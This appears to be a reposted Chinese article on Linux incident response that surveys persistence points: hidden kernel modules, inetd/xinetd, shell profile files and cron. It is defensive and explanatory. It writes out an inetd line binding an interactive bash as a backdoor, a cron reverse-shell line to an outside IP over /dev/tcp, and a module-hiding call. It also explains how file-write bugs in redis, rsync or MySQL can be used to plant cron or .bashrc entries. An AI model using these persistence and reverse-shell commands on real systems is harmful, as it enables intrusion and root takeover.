加入收藏 | 设为首页 | 会员中心 | 我要投稿 源码门户网 (https://www.92codes.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 搭建环境 > Windows > 正文

Linux安全系列之启动篇

发布时间:2019-02-21 10:24:25 所属栏目:Windows 来源:不必再等
导读:副标题#e# Linux的自启动项,相对Windows来说简单太多了,在我们应急响应中操作系统的启动方式有哪些这个是一定要知道的,不然后门也清除不干净

有时候最粗糙的隐藏模块手段只隐藏了lsmod命令,我们的可用模块都在/sys/modules下,但是正在运行的模块和没有运行的模块是有特征的,没运行的模块,其模块目录下只有一个空目录parameters

Linux安全系列之启动篇

而正在运行的模块,就有这几个目录,如图:

Linux安全系列之启动篇

我们可以通过一个脚本来循环比较/sys/modules下各模块目录下parameters的结果和lsmod的结果,来确定是否存在隐藏模块,当然这个很不靠谱。

一行代码kobject_del(&THIS_MODULE->mkobj.kobj);就逃过了检查。这里主要说的是模块的自启动,关于模块的隐藏和检查,我们以后再详说。

至此我们阅尽了linux的一生,希望对大家系统的了解linux有所帮助。

七.网络子服务

一些小服务可以放在inetd/xinetd里托管,他们配置的一些允许开机启动的程序可能会被替换,或者在配置文件里被替换成别的程序,或者在配置文件开启一些危险的服务。如:daytime stream tcp nowait root /bin/bash bash –i就开启了daytime服务绑定了一个shell来作为后门。

不多说,检查/etc/inetd.conf或/etc/xinetd.d即可

八.环境变量

在环境变量文件(/etc/profile.bashrc .bash_profile .bash_logout)里添加命令,当管理员登陆或退出的时候这个命令会执行(类似于windows的启动目录)

Linux安全系列之启动篇

Linux安全系列之启动篇

曾经我应急响应时就遇到过某电商的一台图片服务器,整个服务器不能解析,但WEB根目录就是一个普通用户的home目录,某黑产大佬,通过前台上传图片的地方,直接上传了一个.bashrc覆盖了原来的.bashrc,当礼拜一管理员登陆这个普通用户时执行了反弹shell,沦陷!!!

九.计划任务

Linux的计划任务有3个地方

  1. /etc/crontab 
  2. /etc/cron.d/ 
  3. /var/spool/cron/(Debian/Ubuntu系列为/var/spool/cron/crontabs/) 

其中/etc/crontab和/etc/cron.d/是系统的计划

/var/spool/cron/是用户的计划

我们平常执行的crontab -l 看到的其实是/var/spool/cron/下的东西

黑客通常在这三个地方添加* * * * *这样的内容,意为一分钟后执行,比如这个反弹的rootshell

* * * * * root /bin/bash-i>&/dev/tcp/192.168.152.129/4444 0>&1

如果大家搞过渗透测试,遇到像redis,rsync,nfs或者一个上传点可以写入操作系统任意位置的这些漏洞,我们在windows2003下可以写入mof或启动目录,那么linux呢,我们正常写入.bashrc,.ssh/authorized_keys,/etc/crontab,/etc/cron.d/,/var/splool/cron这些位置,可见计划任务目录是我们渗透中永恒的利用主题。

其实对计划任务目录的利用并不是那么容易的,这中间是有细微区别的,因为它们对权限的要求极高,比如/etc/cron.d 这个目录必须具有x权限才能定时执行,/var/splool/cron这个目录想要执行必须不能具有w权限,打个比方,有一个mysql数据库的注入点,mysql是以双root权限运行的,并且没有魔法字符的干扰,也没有secure_file_priv的限制,可以向服务器任意地方写文件,那么你写进这三个计划任务的地方就能得到rootshell吗?

答案是否定的,为什么?

  1. /etc/crontab 遗憾的是mysql不具有覆盖性,这个文件本身已存在,所以不行
  2. /etc/cron.d 我们说下mysql默认的umask(掩码),默认是022,666-022是644,注意linux新文件的创建满格就是666而不是777,天生不具有执行权限,所以644权限,/etc/cron.d那自然是不让执行的了
  3. /var/splool/cron这个不能具有w权限,而644就是rw-r--r--,有写权限,所以也是不行的了

(编辑:源码门户网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!